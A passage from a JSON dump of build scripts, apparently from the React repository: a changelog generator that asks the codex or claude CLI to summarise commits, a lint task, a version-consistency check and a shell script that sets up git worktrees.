    "content": "'use strict';\n\nconst {stablePackages} = require('../../../ReactVersions');\nconst {parseArgs} = require('./args');\nconst {\n  fetchNpmInfo,\n  collectCommitsSince,\n  loadCommitDetails,\n  extractPrNumber,\n  fetchPullRequestMetadata,\n} = require('./data');\nconst {summarizePackages} = require('./summaries');\nconst {buildChangelogEntries, renderChangelog} = require('./formatters');\nconst {noopLogger} = require('./utils');\n\nasync function main() {\n  const {packageSpecs, summarizer, debug, format} = parseArgs(\n    process.argv.slice(2)\n  );\n  const log = debug\n    ? (...args) => console.log('[generate-changelog]', ...args)\n    : noopLogger;\n\n  const allStablePackages = Object.keys(stablePackages);\n  const packageTargets = new Map();\n  for (let i = 0; i < packageSpecs.length; i++) {\n    const spec = packageSpecs[i];\n    if (!allStablePackages.includes(spec.name)) {\n      throw new Error(\n        `Package \"${spec.name}\" is not listed in stablePackages.`\n      );\n    }\n    if (packageTargets.has(spec.name)) {\n      throw new Error(`Package \"${spec.name}\" was specified more than once.`);\n    }\n    packageTargets.set(spec.name, spec);\n  }\n\n  const targetPackages = packageSpecs.map(spec => spec.name);\n  log(\n    `Starting changelog generation for: ${packageSpecs\n      .map(spec => `${spec.name}@${spec.displayVersion || spec.version}`)\n      .join(', ')}`\n  );\n\n  const packageInfoMap = new Map();\n  const packageInfoResults = await Promise.all(\n    targetPackages.map(async pkg => {\n      const info = await fetchNpmInfo(pkg, {log});\n      return {pkg, info};\n    })\n  );\n  for (let i = 0; i < packageInfoResults.length; i++) {\n    const entry = packageInfoResults[i];\n    packageInfoMap.set(entry.pkg, entry.info);\n  }\n\n  const commitPackagesMap = new Map();\n  const commitCollections = await Promise.all(\n    targetPackages.map(async pkg => {\n      const {gitHead} = packageInfoMap.get(pkg);\n      const commits = await collectCommitsSince(pkg, gitHead, {log});\n      log(`Package ${pkg} has ${commits.length} commit(s) since ${gitHead}.`);\n      return {pkg, commits};\n    })\n  );\n  for (let i = 0; i < commitCollections.length; i++) {\n    const entry = commitCollections[i];\n    const pkg = entry.pkg;\n    const commits = entry.commits;\n    for (let j = 0; j < commits.length; j++) {\n      const sha = commits[j];\n      if (!commitPackagesMap.has(sha)) {\n        commitPackagesMap.set(sha, new Set());\n      }\n      commitPackagesMap.get(sha).add(pkg);\n    }\n  }\n  log(`Found ${commitPackagesMap.size} commits touching target packages.`);\n\n  if (commitPackagesMap.size === 0) {\n    console.log('No commits found for the selected packages.');\n    return;\n  }\n\n  const commitDetails = await Promise.all(\n    Array.from(commitPackagesMap.entries()).map(\n      async ([sha, packagesTouched]) => {\n        const detail = await loadCommitDetails(sha, {log});\n        detail.packages = packagesTouched;\n        detail.prNumber = extractPrNumber(detail.subject, detail.body);\n        return detail;\n      }\n    )\n  );\n\n  commitDetails.sort((a, b) => a.timestamp - b.timestamp);\n  log(`Ordered ${commitDetails.length} commit(s) chronologically.`);\n\n  const commitsByPackage = new Map();\n  commitDetails.forEach(commit => {\n    commit.packages.forEach(pkgName => {\n      if (!commitsByPackage.has(pkgName)) {\n        commitsByPackage.set(pkgName, []);\n      }\n      commitsByPackage.get(pkgName).push(commit);\n    });\n  });\n\n  const uniquePrNumbers = Array.from(\n    new Set(commitDetails.map(commit => commit.prNumber).filter(Boolean))\n  );\n  log(`Identified ${uniquePrNumbers.length} unique PR number(s).`);\n\n  const prMetadata = new Map();\n  log(`Summarizer selected: ${summarizer || 'none (using commit titles)'}`);\n  const prMetadataResults = await Promise.all(\n    uniquePrNumbers.map(async prNumber => {\n      const meta = await fetchPullRequestMetadata(prNumber, {log});\n      return {prNumber, meta};\n    })\n  );\n  for (let i = 0; i < prMetadataResults.length; i++) {\n    const entry = prMetadataResults[i];\n    if (entry.meta) {\n      prMetadata.set(entry.prNumber, entry.meta);\n    }\n  }\n  log(`Fetched metadata for ${prMetadata.size} PR(s).`);\n\n  const summariesByPackage = await summarizePackages({\n    summarizer,\n    packageSpecs,\n    packageTargets,\n    commitsByPackage,\n    log,\n  });\n\n  const changelogEntries = buildChangelogEntries({\n    packageSpecs,\n    commitsByPackage,\n    summariesByPackage,\n    prMetadata,\n  });\n\n  log('Generated changelog sections.');\n  const output = renderChangelog(changelogEntries, format);\n  console.log(output);\n}\n\nif (require.main === module) {\n  main().catch(error => {\n    process.stderr.write(`${error.message}\\n`);\n    process.exit(1);\n  });\n} else {\n  module.exports = main;\n}\n"
  },
  {
    "path": "scripts/tasks/generate-changelog/summaries.js",
    "content": "'use strict';\n\nconst fs = require('fs');\nconst path = require('path');\n\nconst {execFileAsync, repoRoot, noopLogger} = require('./utils');\n\nfunction readChangelogSnippet(preferredPackage) {\n  const cacheKey =\n    preferredPackage === 'eslint-plugin-react-hooks'\n      ? preferredPackage\n      : 'root';\n  if (!readChangelogSnippet.cache) {\n    readChangelogSnippet.cache = new Map();\n  }\n  const cache = readChangelogSnippet.cache;\n  if (cache.has(cacheKey)) {\n    return cache.get(cacheKey);\n  }\n\n  const targetPath =\n    preferredPackage === 'eslint-plugin-react-hooks'\n      ? path.join(\n          repoRoot,\n          'packages',\n          'eslint-plugin-react-hooks',\n          'CHANGELOG.md'\n        )\n      : path.join(repoRoot, 'CHANGELOG.md');\n\n  let content = '';\n  try {\n    content = fs.readFileSync(targetPath, 'utf8');\n  } catch {\n    content = '';\n  }\n\n  const snippet = content.slice(0, 4000);\n  cache.set(cacheKey, snippet);\n  return snippet;\n}\n\nfunction sanitizeSummary(text) {\n  if (!text) {\n    return '';\n  }\n\n  const trimmed = text.trim();\n  const withoutBullet = trimmed.replace(/^([-*]\\s+|\\d+\\s*[\\.)]\\s+)/, '');\n\n  return withoutBullet.replace(/\\s+/g, ' ').trim();\n}\n\nasync function summarizePackages({\n  summarizer,\n  packageSpecs,\n  packageTargets,\n  commitsByPackage,\n  log,\n}) {\n  const summariesByPackage = new Map();\n  if (!summarizer) {\n    packageSpecs.forEach(spec => {\n      const commits = commitsByPackage.get(spec.name) || [];\n      const summaryMap = new Map();\n      for (let i = 0; i < commits.length; i++) {\n        const commit = commits[i];\n        summaryMap.set(commit.sha, commit.subject);\n      }\n      summariesByPackage.set(spec.name, summaryMap);\n    });\n    return summariesByPackage;\n  }\n\n  const tasks = packageSpecs.map(spec => {\n    const commits = commitsByPackage.get(spec.name) || [];\n    return summarizePackageCommits({\n      summarizer,\n      spec,\n      commits,\n      packageTargets,\n      allPackageSpecs: packageSpecs,\n      log,\n    });\n  });\n\n  const results = await Promise.all(tasks);\n  results.forEach(entry => {\n    summariesByPackage.set(entry.packageName, entry.summaries);\n  });\n  return summariesByPackage;\n}\n\nasync function summarizePackageCommits({\n  summarizer,\n  spec,\n  commits,\n  packageTargets,\n  allPackageSpecs,\n  log,\n}) {\n  const summaries = new Map();\n  if (commits.length === 0) {\n    return {packageName: spec.name, summaries};\n  }\n\n  const rootStyle = readChangelogSnippet('root');\n  const hooksStyle = readChangelogSnippet('eslint-plugin-react-hooks');\n  const targetList = allPackageSpecs.map(\n    targetSpec =>\n      `${targetSpec.name}@${targetSpec.displayVersion || targetSpec.version}`\n  );\n  const payload = commits.map(commit => {\n    const packages = Array.from(commit.packages || []).sort();\n    const usesHooksStyle = (commit.packages || new Set()).has(\n      'eslint-plugin-react-hooks'\n    );\n    const packagesWithVersions = packages.map(pkgName => {\n      const targetSpec = packageTargets.get(pkgName);\n      if (!targetSpec) {\n        return pkgName;\n      }\n      return `${pkgName}@${targetSpec.displayVersion || targetSpec.version}`;\n    });\n    return {\n      sha: commit.sha,\n      packages,\n      packagesWithVersions,\n      style: usesHooksStyle ? 'eslint-plugin-react-hooks' : 'root',\n      subject: commit.subject,\n      body: commit.body || '',\n    };\n  });\n\n  const promptParts = [\n    `You are preparing changelog summaries for ${spec.name} ${\n      spec.displayVersion || spec.version\n    }.`,\n    'The broader release includes:',\n    ...targetList.map(line => `- ${line}`),\n    '',\n    'For each commit payload, write a single concise sentence without a leading bullet.',\n    'Match the tone and formatting of the provided style samples. Do not mention commit hashes.',\n    'Return a JSON array where each element has the shape `{ \"sha\": \"<sha>\", \"summary\": \"<text>\" }`.',\n    'The JSON must contain one entry per commit in the same order they are provided.',\n    'Use `\"root\"` style unless the payload specifies `\"eslint-plugin-react-hooks\"`, in which case use that style sample.',\n    '',\n    '--- STYLE: root ---',\n    rootStyle,\n    '--- END STYLE ---',\n    '',\n    '--- STYLE: eslint-plugin-react-hooks ---',\n    hooksStyle,\n    '--- END STYLE ---',\n    '',\n    `Commits affecting ${spec.name}:`,\n  ];\n\n  payload.forEach((item, index) => {\n    promptParts.push(\n      `Commit ${index + 1}:`,\n      `sha: ${item.sha}`,\n      `style: ${item.style}`,\n      `packages: ${item.packagesWithVersions.join(', ') || 'none'}`,\n      `subject: ${item.subject}`,\n      'body:',\n      item.body || '(empty)',\n      ''\n    );\n  });\n  promptParts.push('Return ONLY the JSON array.', '');\n\n  const prompt = promptParts.join('\\n');\n  log(\n    `Invoking ${summarizer} for ${payload.length} commit summaries targeting ${spec.name}.`\n  );\n  log(`Summarizer prompt length: ${prompt.length} characters.`);\n\n  try {\n    const raw = await runSummarizer(summarizer, prompt);\n    log(`Summarizer output length: ${raw.length}`);\n    const parsed = parseSummariesResponse(raw);\n    if (!parsed) {\n      throw new Error('Unable to parse summarizer output.');\n    }\n    parsed.forEach(entry => {\n      const summary = sanitizeSummary(entry.summary || '');\n      if (summary) {\n        summaries.set(entry.sha, summary);\n      }\n    });\n  } catch (error) {\n    if (log !== noopLogger) {\n      log(\n        `Warning: failed to summarize commits for ${spec.name} with ${summarizer}. Falling back to subjects. ${error.message}`\n      );\n      if (error && error.stack) {\n        log(error.stack);\n      }\n    }\n  }\n\n  for (let i = 0; i < commits.length; i++) {\n    const commit = commits[i];\n    if (!summaries.has(commit.sha)) {\n      summaries.set(commit.sha, commit.subject);\n    }\n  }\n\n  log(`Summaries available for ${summaries.size} commit(s) for ${spec.name}.`);\n\n  return {packageName: spec.name, summaries};\n}\n\nasync function runSummarizer(command, prompt) {\n  const options = {cwd: repoRoot, maxBuffer: 5 * 1024 * 1024};\n\n  if (command === 'codex') {\n    const {stdout} = await execFileAsync(\n      'codex',\n      ['exec', '--json', prompt],\n      options\n    );\n    return parseCodexSummary(stdout);\n  }\n\n  if (command === 'claude') {\n    const {stdout} = await execFileAsync('claude', ['-p', prompt], options);\n    return stripClaudeBanner(stdout);\n  }\n\n  throw new Error(`Unsupported summarizer command: ${command}`);\n}\n\nfunction parseCodexSummary(output) {\n  let last = '';\n  const lines = output.split('\\n');\n  for (let i = 0; i < lines.length; i++) {\n    const trimmed = lines[i].trim();\n    if (!trimmed) {\n      continue;\n    }\n    try {\n      const event = JSON.parse(trimmed);\n      if (\n        event.type === 'item.completed' &&\n        event.item?.type === 'agent_message'\n      ) {\n        last = event.item.text || '';\n      }\n    } catch {\n      last = trimmed;\n    }\n  }\n  return last || output;\n}\n\nfunction stripClaudeBanner(text) {\n  return text\n    .split('\\n')\n    .filter(\n      line =>\n        line.trim() !==\n        'Claude Code at Meta (https://fburl.com/claude.code.users)'\n    )\n    .join('\\n')\n    .trim();\n}\n\nfunction parseSummariesResponse(output) {\n  const trimmed = output.trim();\n  const candidates = trimmed\n    .split('\\n')\n    .map(line => line.trim())\n    .filter(Boolean);\n\n  for (let i = candidates.length - 1; i >= 0; i--) {\n    const candidate = candidates[i];\n    if (!candidate) {\n      continue;\n    }\n    try {\n      const parsed = JSON.parse(candidate);\n      if (Array.isArray(parsed)) {\n        return parsed;\n      }\n    } catch {\n      // Try the next candidate.\n    }\n  }\n\n  try {\n    const parsed = JSON.parse(trimmed);\n    if (Array.isArray(parsed)) {\n      return parsed;\n    }\n  } catch {\n    // Fall through.\n  }\n\n  return null;\n}\n\nmodule.exports = {\n  summarizePackages,\n};\n"
  },
  {
    "path": "scripts/tasks/generate-changelog/utils.js",
    "content": "'use strict';\n\nconst fs = require('fs');\nconst path = require('path');\nconst {execFile} = require('child_process');\nconst {promisify} = require('util');\n\nconst execFileAsync = promisify(execFile);\nconst repoRoot = path.resolve(__dirname, '..', '..', '..');\n\nfunction isCommandAvailable(command) {\n  const paths = (process.env.PATH || '').split(path.delimiter);\n  const extensions =\n    process.platform === 'win32' && process.env.PATHEXT\n      ? process.env.PATHEXT.split(';')\n      : [''];\n\n  for (let i = 0; i < paths.length; i++) {\n    const dir = paths[i];\n    if (!dir) {\n      continue;\n    }\n    for (let j = 0; j < extensions.length; j++) {\n      const ext = extensions[j];\n      const fullPath = path.join(dir, `${command}${ext}`);\n      try {\n        fs.accessSync(fullPath, fs.constants.X_OK);\n        return true;\n      } catch {\n        // Keep searching.\n      }\n    }\n  }\n  return false;\n}\n\nfunction noopLogger() {}\n\nfunction escapeCsvValue(value) {\n  if (value == null) {\n    return '';\n  }\n\n  const stringValue = String(value).replace(/\\r?\\n|\\r/g, ' ');\n  if (stringValue.includes('\"') || stringValue.includes(',')) {\n    return `\"${stringValue.replace(/\"/g, '\"\"')}\"`;\n  }\n  return stringValue;\n}\n\nfunction toCsvRow(values) {\n  return values.map(escapeCsvValue).join(',');\n}\n\nmodule.exports = {\n  execFileAsync,\n  repoRoot,\n  isCommandAvailable,\n  noopLogger,\n  escapeCsvValue,\n  toCsvRow,\n};\n"
  },
  {
    "path": "scripts/tasks/linc.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst minimist = require('minimist');\nconst runESLint = require('../eslint');\n\nasync function main() {\n  console.log('Linting changed files...');\n\n  const {_, ...cliOptions} = minimist(process.argv.slice(2));\n\n  if (await runESLint({onlyChanged: true, ...cliOptions})) {\n    console.log('Lint passed for changed files.');\n  } else {\n    console.log('Lint failed for changed files.');\n    process.exit(1);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "scripts/tasks/version-check.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst fs = require('fs');\nconst ReactVersionSrc = fs.readFileSync(\n  require.resolve('../../packages/shared/ReactVersion')\n);\nconst reactVersion = /export default '([^']+)';/.exec(ReactVersionSrc)[1];\n\nconst versions = {\n  'packages/react/package.json': require('../../packages/react/package.json')\n    .version,\n  'packages/react-dom/package.json':\n    require('../../packages/react-dom/package.json').version,\n  'packages/react-test-renderer/package.json':\n    require('../../packages/react-test-renderer/package.json').version,\n  'packages/shared/ReactVersion.js': reactVersion,\n};\n\nlet allVersionsMatch = true;\nObject.keys(versions).forEach(function (name) {\n  const version = versions[name];\n  if (version !== reactVersion) {\n    allVersionsMatch = false;\n    console.log(\n      '%s version does not match package.json. Expected %s, saw %s.',\n      name,\n      reactVersion,\n      version\n    );\n  }\n});\n\nif (!allVersionsMatch) {\n  process.exit(1);\n}\n"
  },
  {
    "path": "scripts/worktree.sh",
    "content": "#!/usr/bin/env bash\n# Copyright (c) Meta Platforms, Inc. and affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nset -eo pipefail\n\n# --- Configuration ---\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\nREPO_ROOT=\"$(cd \"$SCRIPT_DIR/..\" && pwd)\"\nWORKTREE_CREATED=false\nWORKTREE_PATH=\"\"\n\n# --- Usage ---\nusage() {\n  echo \"Usage: $0 [name] [--claude] [--compiler]\"\n  echo \"\"\n  echo \"Creates a new git worktree with dependencies installed.\"\n  echo \"\"\n  echo \"Arguments:\"\n  echo \"  [name]        Name for the worktree (auto-generated if not provided)\"\n  echo \"\"\n  echo \"Options:\"\n  echo \"  --claude      Launch Claude Code after setup\"\n  echo \"  --compiler    When used with --claude, launch Claude in the compiler directory\"\n  exit 1\n}\n\n# --- Error handling ---\nerror() {\n  echo \"Error: $1\" >&2\n  exit 1\n}\n\n# --- Cleanup on error ---\ncleanup() {\n  if [[ \"$WORKTREE_CREATED\" == \"true\" && -n \"$WORKTREE_PATH\" ]]; then\n    echo \"Cleaning up: removing worktree at $WORKTREE_PATH...\" >&2\n    git worktree remove \"$WORKTREE_PATH\" --force 2>/dev/null || true\n  fi\n}\n\ntrap cleanup ERR\n\n# --- Argument parsing ---\nNAME=\"\"\nUSE_CLAUDE=false\nUSE_COMPILER=false\n\nwhile [[ $# -gt 0 ]]; do\n  case \"$1\" in\n    --claude)\n      USE_CLAUDE=true\n      shift\n      ;;\n    --compiler)\n      USE_COMPILER=true\n      shift\n      ;;\n    -h|--help)\n      usage\n      ;;\n    -*)\n      error \"Unknown option: $1\"\n      ;;\n    *)\n      if [[ -z \"$NAME\" ]]; then\n        NAME=\"$1\"\n      else\n        error \"Unexpected argument: $1\"\n      fi\n      shift\n      ;;\n  esac\ndone\n\n# Generate worktree name with timestamp prefix\nTIMESTAMP=$(date +%Y-%m-%d-%H-%M-%S)\n\nif [[ -z \"$NAME\" ]]; then\n  # Word lists for random name generation\n  ADJECTIVES=(\n    \"quick\" \"bright\" \"calm\" \"dark\" \"eager\" \"fair\" \"gentle\" \"happy\" \"idle\" \"jolly\"\n    \"keen\" \"lively\" \"merry\" \"noble\" \"orange\" \"proud\" \"quiet\" \"rapid\" \"silent\" \"tall\"\n    \"unique\" \"vivid\" \"warm\" \"young\" \"zealous\" \"ancient\" \"bold\" \"clever\" \"daring\" \"elegant\"\n    \"fancy\" \"grand\" \"humble\" \"icy\" \"jagged\" \"kind\" \"loud\" \"magic\" \"narrow\" \"odd\"\n    \"plain\" \"quaint\" \"rough\" \"sharp\" \"tender\" \"ultra\" \"vast\" \"wild\" \"xeric\" \"youthful\"\n    \"zesty\" \"agile\" \"brave\" \"crisp\" \"deep\"\n  )\n  NOUNS=(\n    \"apple\" \"bear\" \"cloud\" \"dragon\" \"eagle\" \"flame\" \"garden\" \"hill\" \"island\" \"jungle\"\n    \"kettle\" \"lemon\" \"mountain\" \"night\" \"ocean\" \"panda\" \"quartz\" \"river\" \"storm\" \"tiger\"\n    \"umbrella\" \"valley\" \"whale\" \"xenon\" \"yarn\" \"zebra\" \"anchor\" \"bridge\" \"canyon\" \"desert\"\n    \"ember\" \"forest\" \"glacier\" \"harbor\" \"igloo\" \"jewel\" \"knight\" \"lantern\" \"meadow\" \"nebula\"\n    \"oasis\" \"phoenix\" \"quest\" \"rocket\" \"shadow\" \"thunder\" \"unity\" \"vortex\" \"willow\" \"xylophone\"\n    \"yonder\" \"zenith\" \"aurora\" \"beacon\" \"coral\"\n  )\n\n  # Generate random name: worktree-yyyy-mm-dd-hh-mm-ss-<adjective>-<noun>\n  RANDOM_ADJ=${ADJECTIVES[$RANDOM % ${#ADJECTIVES[@]}]}\n  RANDOM_NOUN=${NOUNS[$RANDOM % ${#NOUNS[@]}]}\n  NAME=\"worktree-${TIMESTAMP}-${RANDOM_ADJ}-${RANDOM_NOUN}\"\n  echo \"Auto-generated worktree name: $NAME\"\nelse\n  # Use provided name: worktree-yyyy-mm-dd-hh-mm-ss-<name>\n  NAME=\"worktree-${TIMESTAMP}-${NAME}\"\n  echo \"Worktree name: $NAME\"\nfi\n\n# --- Check .gitignore ---\nif ! grep -qE '^/?\\.worktrees/?$' \"$REPO_ROOT/.gitignore\" 2>/dev/null; then\n  error \"'.worktrees' is not in .gitignore. Add it before creating worktrees.\"\nfi\n\n# --- Check if worktree already exists ---\nif git worktree list | grep -q \"\\[$NAME\\]\"; then\n  error \"Worktree with branch name '$NAME' already exists\"\nfi\n\n# --- Set up worktree path ---\nWORKTREES_DIR=\"$REPO_ROOT/.worktrees\"\nWORKTREE_PATH=\"$WORKTREES_DIR/$NAME\"\n\nif [[ -d \"$WORKTREE_PATH\" ]]; then\n  error \"Directory already exists at $WORKTREE_PATH\"\nfi\n\n# --- Create worktree ---\nmkdir -p \"$WORKTREES_DIR\"\necho \"Creating worktree '$NAME' at $WORKTREE_PATH...\"\ngit worktree add \"$WORKTREE_PATH\" -b \"$NAME\"\nWORKTREE_CREATED=true\n\n# --- Install dependencies ---\necho \"Installing compiler dependencies...\"\n(cd \"$WORKTREE_PATH/compiler\" && yarn install)\n\necho \"Installing root dependencies...\"\n(cd \"$WORKTREE_PATH\" && yarn install)\n\necho \"Worktree '$NAME' created successfully at $WORKTREE_PATH\"\n\n# --- Launch Claude (optional) ---\nif [[ \"$USE_CLAUDE\" == \"true\" ]]; then\n  if [[ \"$USE_COMPILER\" == \"true\" ]]; then\n    echo \"Launching Claude in compiler directory...\"\n    cd \"$WORKTREE_PATH/compiler\"\n  else\n    echo \"Launching Claude in worktree root...\"\n    cd \"$WORKTREE_PATH\"\n  fi\n  exec claude\nfi\n"
  }
]